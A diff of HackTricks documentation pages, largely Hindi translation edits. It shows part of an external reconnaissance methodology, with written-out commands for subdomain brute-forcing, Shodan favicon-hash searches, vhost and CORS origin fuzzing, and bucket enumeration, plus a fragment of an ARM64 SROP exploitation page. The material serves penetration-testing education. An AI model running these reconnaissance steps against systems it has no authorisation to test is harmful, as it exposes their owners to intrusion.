Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# SROP - ARM64
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -147,7 +147,7 @@ return 0;
In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**:
<figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
इसलिए, यदि लीक हो जाए, तो **इस पते का उपयोग `sigreturn` तक पहुँचने के लिए किया जा सकता है** यदि बाइनरी इसे लोड नहीं कर रही है:
```python
@ -191,16 +191,16 @@ And to bypass the address of `/bin/sh` you could create several env variables po
{% endcontent-ref %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* हैकिंग ट्रिक्स साझा करें [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PR सबमिट करे।
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PR सबमिट करे
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# External Recon Methodology
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -25,7 +25,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
> तो आपको कहा गया था कि किसी कंपनी से संबंधित सब कुछ दायरे के भीतर है, और आप यह पता लगाना चाहते हैं कि इस कंपनी के पास वास्तव में क्या है।
इस चरण का लक्ष्य मुख्य कंपनी द्वारा स्वामित्व वाली सभी **कंपनियों** को प्राप्त करना है और फिर इन कंपनियों के सभी **संपत्तियों** को प्राप्त करना है। ऐसा करने के लिए, हम:
इस चरण का लक्ष्य मुख्य कंपनी द्वारा स्वामित्व वाली सभी **कंपनियों** को प्राप्त करना है और फिर इन कंपनियों के सभी **संपत्तियों** को। ऐसा करने के लिए, हम:
1. मुख्य कंपनी के अधिग्रहणों को खोजेंगे, इससे हमें दायरे के भीतर की कंपनियाँ मिलेंगी।
2. प्रत्येक कंपनी का ASN (यदि कोई हो) खोजेंगे, इससे हमें प्रत्येक कंपनी द्वारा स्वामित्व वाले IP रेंज मिलेंगे।
@ -34,19 +34,19 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
### **Acquisitions**
सबसे पहले, हमें यह जानने की आवश्यकता है कि **मुख्य कंपनी द्वारा स्वामित्व वाली अन्य कंपनियाँ कौन सी हैं**।\
एक विकल्प है [https://www.crunchbase.com/](https://www.crunchbase.com) पर जाना, **मुख्य कंपनी** के लिए **खोजें**, और "**अधिग्रहण**" पर **क्लिक करें**। वहाँ आप मुख्य कंपनी द्वारा अधिग्रहित अन्य कंपनियाँ देखेंगे।\
सबसे पहले, हमें यह जानने की आवश्यकता है कि **मुख्य कंपनी द्वारा कौन सी अन्य कंपनियाँ स्वामित्व में हैं**।\
एक विकल्प है [https://www.crunchbase.com/](https://www.crunchbase.com) पर जाना, **मुख्य कंपनी** के लिए **खोजें**, और "**अधिग्रहण**" पर **क्लिक** करें। वहाँ आप मुख्य कंपनी द्वारा अधिग्रहित अन्य कंपनियाँ देखेंगे।\
दूसरा विकल्प है मुख्य कंपनी के **विकिपीडिया** पृष्ठ पर जाना और **अधिग्रहण** के लिए खोज करना।
> ठीक है, इस बिंदु पर आपको दायरे के भीतर सभी कंपनियों के बारे में पता होना चाहिए। चलिए उनके संपत्तियों को खोजने का तरीका समझते हैं।
> ठीक है, इस बिंदु पर आपको दायरे के भीतर सभी कंपनियों के बारे में पता होना चाहिए। चल उनके संपत्तियों को खोजने का तरीका समझते हैं।
### **ASNs**
एक स्वायत्त प्रणाली संख्या (**ASN**) एक **विशिष्ट संख्या** है जो **इंटरनेट असाइन नंबर प्राधिकरण (IANA)** द्वारा एक **स्वायत्त प्रणाली** (AS) को असाइन की जाती है।\
एक **AS** में **IP पते** के **ब्लॉक** होते हैं जिनकी बाहरी नेटवर्क तक पहुँचने के लिए स्पष्ट रूप से परिभाषित नीति होती है और इसे एक ही संगठन द्वारा प्रशासित किया जाता है लेकिन यह कई ऑपरेटरों से मिलकर बन सकता है।
यह जानना दिलचस्प है कि क्या **कंपनी ने कोई ASN असाइन किया है** ताकि इसके **IP रेंज** को खोजा जा सके। यह **दायरे** के भीतर सभी **होस्ट** के खिलाफ **कमजोरी परीक्षण** करना और इन IPs के भीतर **डोमेन** की खोज करना दिलचस्प होगा।\
आप **कंपनी के नाम**, **IP** या **डोमेन** द्वारा [**https://bgp.he.net/**](https://bgp.he.net)** पर खोज सकते हैं।**\
यह जानना दिलचस्प है कि क्या **कंपनी ने किसी ASN को असाइन किया है** ताकि इसके **IP रेंज** को खोजा जा सके। यह **दायरे** के भीतर सभी **होस्ट** के खिलाफ **कमजोरी परीक्षण** करना और इन IPs के भीतर **डोमेन** की खोज करना दिलचस्प होगा।\
आप [**https://bgp.he.net/**](https://bgp.he.net) पर कंपनी के **नाम**, **IP** या **डोमेन** द्वारा **खोज** कर सकते हैं।\
**कंपनी के क्षेत्र के आधार पर ये लिंक अधिक डेटा इकट्ठा करने के लिए उपयोगी हो सकते हैं:** [**AFRINIC**](https://www.afrinic.net) **(अफ्रीका),** [**Arin**](https://www.arin.net/about/welcome/region/)**(उत्तरी अमेरिका),** [**APNIC**](https://www.apnic.net) **(एशिया),** [**LACNIC**](https://www.lacnic.net) **(लैटिन अमेरिका),** [**RIPE NCC**](https://www.ripe.net) **(यूरोप)। वैसे, शायद सभी** उपयोगी जानकारी **(IP रेंज और Whois)** पहले लिंक में पहले से ही दिखाई देती है।
```bash
#You can try "automate" this with amass, but it's not very recommended
@ -137,11 +137,11 @@ Did you know that we can find related domains and sub domains to our target by l
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - समान favicon आइकन हैश वाले डोमेन खोजें](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
![favihash - समान favicon आइकन हैश के साथ डोमेन खोजें](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
साधारण शब्दों में, favihash हमें उन डोमेन को खोजने की अनुमति देगा जिनका हमारे लक्ष्य के समान favicon आइकन हैश है।
इसके अलावा, आप [**इस ब्लॉग पोस्ट**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) में समझाए गए अनुसार favicon हैश का उपयोग करके तकनीकों की भी खोज कर सकते हैं। इसका मतलब है कि यदि आप एक कमजोर वेब तकनीक के favicon का **हैश जानते हैं**, तो आप शोडन में खोज सकते हैं और **अधिक कमजोर स्थानों** को खोज सकते हैं:
इसके अलावा, आप [**इस ब्लॉग पोस्ट**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) में समझाए गए अनुसार favicon हैश का उपयोग करके तकनीकों की भी खोज कर सकते हैं। इसका मतलब है कि यदि आप एक कमजोर वेब तकनीक के favicon का **हैश जानते हैं** तो आप शोडन में खोज सकते हैं और **अधिक कमजोर स्थानों** को खोज सकते हैं:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
@ -201,7 +201,7 @@ You could access the **TLS certificate** of the main web page, obtain the **Orga
Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company.
If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
_ध्यान दें कि कभी-कभी डोमेन एक ऐसे IP में होस्ट किया जाता है जो क्लाइंट द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_
_ध्यान दें कि कभी-कभी डोमेन एक ऐसे IP पर होस्ट किया जाता है जो क्लाइंट द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
@ -307,7 +307,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
* [**gau**](https://github.com/lc/gau)**:** किसी भी दिए गए डोमेन के लिए AlienVault के Open Threat Exchange, Wayback Machine, और Common Crawl से ज्ञात URLs को लाता है।
* [**gau**](https://github.com/lc/gau)**:** किसी भी दिए गए डोमेन के लिए AlienVault के Open Threat Exchange, Wayback Machine, और Common Crawl से ज्ञात URLs लाता है।
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@ -356,7 +356,7 @@ python3 DomainTrail.py -d example.com
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
और अच्छे DNS रिसोल्वर्स के आईपी भी। विश्वसनीय DNS रिसोल्वर्स की सूची बनाने के लिए आप [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) से रिसोल्वर्स डाउनलोड कर सकते हैं और उन्हें फ़िल्टर करने के लिए [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) का उपयोग कर सकते हैं। या आप उपयोग कर सकते हैं: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
और अच्छे DNS रिसोल्वर्स के आईपी भी। विश्वसनीय DNS रिसोल्वर्स की एक सूची बनाने के लिए आप [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) से रिसोल्वर्स डाउनलोड कर सकते हैं और उन्हें फ़िल्टर करने के लिए [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) का उपयोग कर सकते हैं। या आप उपयोग कर सकते हैं: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
DNS ब्रूट-फोर्स के लिए सबसे अनुशंसित उपकरण हैं:
@ -390,17 +390,17 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```bash
cat subdomains.txt | dnsgen -
```
* [**goaltdns**](https://github.com/subfinder/goaltdns): डोमेन और सबडोमेन दिए जाने पर उत्परिवर्तन उत्पन्न करें।
* आप **यहां** [**wordlist**](https://github.com/subfinder/goaltdns/blob/master/words.txt) में goaltdns उत्परिवर्तन प्राप्त कर सकते हैं।
* [**goaltdns**](https://github.com/subfinder/goaltdns): डोमेन और सबडोमेन दिए जाने पर परिमाण उत्पन्न करें।
* आप goaltdns परिमाण **शब्दसूची** [**यहां**](https://github.com/subfinder/goaltdns/blob/master/words.txt) प्राप्त कर सकते हैं।
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
* [**gotator**](https://github.com/Josue87/gotator)**:** दिए गए डोमेन और उपडोमेन के लिए संयोजन उत्पन्न करें। यदि संयोजन फ़ाइल निर्दिष्ट नहीं की गई है, तो gotator अपनी स्वयं की फ़ाइल का उपयोग करेगा।
* [**gotator**](https://github.com/Josue87/gotator)**:** डोमेन और सबडोमेन दिए जाने पर संयोजन उत्पन्न करें। यदि संयोजन फ़ाइल निर्दिष्ट नहीं की गई है, तो gotator अपनी स्वयं की फ़ाइल का उपयोग करेगा।
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
* [**altdns**](https://github.com/infosec-au/altdns): उपडोमेन संयोजनों को उत्पन्न करने के अलावा, यह उन्हें हल करने की भी कोशिश कर सकता है (लेकिन पहले टिप्पणी किए गए उपकरणों का उपयोग करना बेहतर है)।
* आप altdns संयोजन **शब्दसूची** [**यहां**](https://github.com/infosec-au/altdns/blob/master/words.txt) प्राप्त कर सकते हैं।
* आप altdns संयोजनों की **शब्दसूची** [**यहां**](https://github.com/infosec-au/altdns/blob/master/words.txt) प्राप्त कर सकते हैं।
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@ -420,13 +420,13 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ एक सबडोमेन ब्रूट-फोर्स फज़्ज़र है जो एक अत्यंत सरल लेकिन प्रभावी DNS प्रतिक्रिया-निर्देशित एल्गोरिदम के साथ जुड़ा हुआ है। यह एक प्रदान किए गए इनपुट डेटा सेट का उपयोग करता है, जैसे कि एक अनुकूलित शब्द सूची या ऐतिहासिक DNS/TLS रिकॉर्ड, ताकि अधिक संबंधित डोमेन नामों को सटीक रूप से संश्लेषित किया जा सके और DNS स्कैन के दौरान एकत्रित जानकारी के आधार पर उन्हें और भी आगे बढ़ाया जा सके।
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ एक सबडोमेन ब्रूट-फोर्स फज़्ज़र है जो एक अत्यंत सरल लेकिन प्रभावी DNS प्रतिक्रिया-निर्देशित एल्गोरिदम के साथ जुड़ा हुआ है। यह एक प्रदान किए गए इनपुट डेटा सेट का उपयोग करता है, जैसे कि एक अनुकूलित शब्द सूची या ऐतिहासिक DNS/TLS रिकॉर्ड, ताकि अधिक संबंधित डोमेन नामों को सटीक रूप से संश्लेषित किया जा सके और DNS स्कैन के दौरान एकत्रित जानकारी के आधार पर उन्हें एक लूप में और भी आगे बढ़ाया जा सके।
```
echo www | subzuf facebook.com
```
### **सबडोमेन खोज कार्यप्रवाह**
चेक करें इस ब्लॉग पोस्ट को जो मैंने लिखा है कि कैसे **सबडोमेन खोज को स्वचालित करें** एक डोमेन से **Trickest कार्यप्रवाह** का उपयोग करके ताकि मुझे अपने कंप्यूटर में कई टूल मैन्युअल रूप से लॉन्च करने की आवश्यकता न हो:
इस ब्लॉग पोस्ट को देखें जो मैंने **Trickest कार्यप्रवाह** का उपयोग करके एक डोमेन से **सबडोमेन खोज को स्वचालित करने** के बारे में लिखा है ताकि मुझे अपने कंप्यूटर में कई उपकरणों को मैन्युअल रूप से लॉन्च करने की आवश्यकता न हो:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
@ -434,11 +434,11 @@ echo www | subzuf facebook.com
### **VHosts / वर्चुअल होस्ट**
यदि आपने एक IP पता पाया है जिसमें **एक या कई वेब पृष्ठ** सबडोमेन से संबंधित हैं, तो आप **उस IP में वेब के साथ अन्य सबडोमेन खोजने** की कोशिश कर सकते हैं **OSINT स्रोतों** में IP में डोमेन देखने या **उस IP में VHost डोमेन नामों को ब्रूट-फोर्स करके**
यदि आपने एक IP पता पाया है जिसमें **एक या एक से अधिक वेब पृष्ठ** सबडोमेन से संबंधित हैं, तो आप **उस IP में वेब के साथ अन्य सबडोमेन खोजने** की कोशिश कर सकते हैं **OSINT स्रोतों** में IP में डोमेन देखने या **उस IP में VHost डोमेन नामों को ब्रूट-फोर्स करके**
#### OSINT
आप कुछ **VHosts IP में खोज सकते हैं** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **या अन्य APIs का उपयोग करके**
आप कुछ **VHosts को IP में** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **या अन्य APIs का उपयोग करके** खोज सकते हैं
**ब्रूट फोर्स**
@ -457,19 +457,19 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
VHostScan -t example.com
```
{% hint style="info" %}
इस तकनीक के साथ आप आंतरिक/छिपे हुए एंडपॉइंट्स तक पहुँचने में सक्षम हो सकते हैं।
इस तकनीक के साथ आप आंतरिक/छिपे हुए एंडपॉइंट्स तक भी पहुँच सकते हैं।
{% endhint %}
### **CORS Brute Force**
कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटात हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** **खोज** सकते हैं।
कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटात हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** **खोज** सकते हैं।
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
### **Buckets Brute Force**
जब **subdomains** की खोज कर रहे हों, तो देखें कि क्या यह किसी प्रकार के **bucket** की ओर **pointing** कर रहा है, और इस मामले में [**permissions की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
इसके अलावा, चूंकि इस बिंदु पर आप सभी डोमेन को जान होंगे जो दायरे में हैं, कोशिश करें [**संभावित bucket नामों को brute force करें और permissions की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/).
इसके अलावा, चूंकि इस बिंदु पर आप दायरे के भीतर सभी डोमेन को जानेंगे, कोशिश करें [**संभावित bucket नामों को brute force करने और permissions की जांच करने के लिए**](../../network-services-pentesting/pentesting-web/buckets/).
### **Monitorization**
@ -478,17 +478,17 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
### **Looking for vulnerabilities**
संभावित [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) के लिए जांचें।\
यदि **subdomain** किसी **S3 bucket** की ओर **pointing** कर रहा है, तो [**permissions की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/)
यदि **subdomain** किसी **S3 bucket** की ओर **pointing** कर रहा है, तो [**permissions की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/).
यदि आप किसी **subdomain को एक IP के साथ पाते हैं जो पहले से आपके द्वारा खोजे गए IPs से अलग है**, तो आपको एक **बुनियादी vulnerability scan** (Nessus या OpenVAS का उपयोग करके) और कुछ [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। यह निर्भर करता है कि कौन से सेवाएँ चल रही हैं, आप **इस पुस्तक में कुछ तरकीबें "हमले" करने के लिए** पा सकते हैं।\
_ध्यान दें कि कभी-कभी subdomain एक IP के अंदर होस्ट किया जाता है जो क्लाइंट द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_
यदि आप किसी **subdomain को एक IP अलग** पाते हैं जो पहले से आपके द्वारा खोजे गए संपत्तियों में नहीं है, तो आपको एक **बुनियादी vulnerability scan** (Nessus या OpenVAS का उपयोग करके) और कुछ [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। चल रहे सेवाओं के आधार पर, आप **इस पुस्तक में कुछ तरकीबें "हमला" करने के लिए** पा सकते हैं।\
_ध्यान दें कि कभी-कभी subdomain एक IP के भीतर होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_
## IPs
प्रारंभिक चरणों में, आपने **कुछ IP रेंज, डोमेन और subdomains** पाए होंगे।\
प्रारंभिक चरणों में, आपने **कुछ IP रेंज, डोमेन और subdomains** पाए हो सकते हैं।\
अब **उन रेंज से सभी IPs को इकट्ठा करने** और **डोमेन/subdomains (DNS queries)** के लिए समय है।
निम्नलिखित **free apis** की सेवाओं का उपयोग करके, आप **डोमेन और subdomains द्वारा उपयोग किए गए पिछले IPs** को भी खोज सकते हैं। ये IPs अभी भी क्लाइंट के स्वामित्व में हो सकते हैं (और आपको [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) खोजने की अनुमति दे सकते हैं)
निम्नलिखित **free apis** की सेवाओं का उपयोग करके, आप **डोमेन और subdomains द्वारा उपयोग किए गए पिछले IPs** भी पा सकते हैं। ये IPs अभी भी ग्राहक के स्वामित्व में हो सकते हैं (और आपको [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) खोजने की अनुमति दे सकते हैं)
* [**https://securitytrails.com/**](https://securitytrails.com/)
@ -502,13 +502,13 @@ _ध्यान दें कि कभी-कभी subdomain एक IP के
## Web servers hunting
> हमने सभी कंपनियों और उनके संपत्तियों को खोज लिया है और हम दायरे के भीतर IP रेंज, डोमेन और subdomains को जानते हैं। अब वेब सर्वरों की खोज करने का समय है।
> हमने सभी कंपनियों और उनके संपत्तियों को खोज लिया है और हमें दायरे के भीतर IP रेंज, डोमेन और subdomains का पता है। अब वेब सर्वरों की खोज करने का समय है।
पिछले चरणों में, आपने शायद पहले से ही खोजे गए IPs और डोमेन का कुछ **recon** किया है, इसलिए आप **संभावित सभी वेब सर्वरों** को पहले से ही पा चुके होंगे। हालाँकि, यदि आपने नहीं किया है, तो हम अब दायरे के भीतर वेब सर्वरों की खोज के लिए कुछ **तेज़ तरकीबें** देखेंगे।
पिछले चरणों में, आपने शायद पहले से ही खोजे गए **IPs और डोमेन का कुछ recon किया है**, इसलिए आप **संभावित सभी वेब सर्वरों** को पहले से ही पा चुके होंगे। हालाँकि, यदि आपने नहीं किया है, तो हम अब दायरे के भीतर **वेब सर्वरों की खोज के लिए कुछ तेज़ तरकीबें** देखेंगे।
कृपया ध्यान दें कि यह **वेब ऐप्स की खोज के लिए उन्मुख** होगा, इसलिए आपको **vulnerability** और **port scanning** भी करनी चाहिए (**यदि दायरे द्वारा अनुमति दी गई हो**).
**वेब** सर्वरों से संबंधित **खुले ports** की खोज करने के लिए [**masscan** का उपयोग करने का एक तेज़ तरीका यहाँ पाया जा सकता है](../pentesting-network/#http-port-discovery).\
**वेब** सर्वरों से संबंधित **खुले ports** की खोज करने के लिए एक **तेज़ विधि** [**masscan** का उपयोग करके यहां पाई जा सकती है](../pentesting-network/#http-port-discovery).\
वेब सर्वरों की खोज के लिए एक और उपयोगी टूल [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) और [**httpx**](https://github.com/projectdiscovery/httpx) है। आप बस डोमेन की एक सूची पास करते हैं और यह पोर्ट 80 (http) और 443 (https) से कनेक्ट करने की कोशिश करेगा। इसके अतिरिक्त, आप अन्य पोर्ट की कोशिश करने के लिए संकेत दे सकते हैं:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
@ -520,11 +520,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
प्रस्तावित विचार को लागू करने के लिए आप [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) या [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** का उपयोग कर सकते हैं।**
इसके अलावा, आप फिर [**eyeballer**](https://github.com/BishopFox/eyeballer) का उपयोग कर सकते हैं ताकि सभी **स्क्रीनशॉट्स** पर चलाकर आपको बता सके कि **क्या संभावित रूप से कमजोरियों को शामिल कर सकता है**, और क्या नहीं।
इसके अलावा, आप फिर [**eyeballer**](https://github.com/BishopFox/eyeballer) का उपयोग कर सकते हैं ताकि सभी **स्क्रीनशॉट्स** पर चलाकर आपको बता सके कि **कौन सी संभावित रूप से संवेदनशील** हो सकती हैं, और कौन सी नहीं।
## Public Cloud Assets
## सार्वजनिक क्लाउड संपत्तियाँ
किसी कंपनी क संभावित क्लाउड संपत्तियों को खोजने के लिए आपको **उस कंपनी की पहचान करने वाले कीवर्ड की एक सूची से शुरू करना चाहिए**। उदाहरण के लिए, एक क्रिप्टो कंपनी के लिए आप शब्दों का उपयोग कर सकते हैं: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`
किसी कंपनी क संभावित क्लाउड संपत्तियों को खोजने के लिए आपको **उस कंपनी की पहचान करने वाले कीवर्ड की एक सूची से शुरू करना चाहिए**। उदाहरण के लिए, एक क्रिप्टो कंपनी के लिए आप शब्दों का उपयोग कर सकते हैं: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`
आपको **बकेट्स में उपयोग किए जाने वाले सामान्य शब्दों** की वर्डलिस्ट भी चाहिए:
@ -532,77 +532,77 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
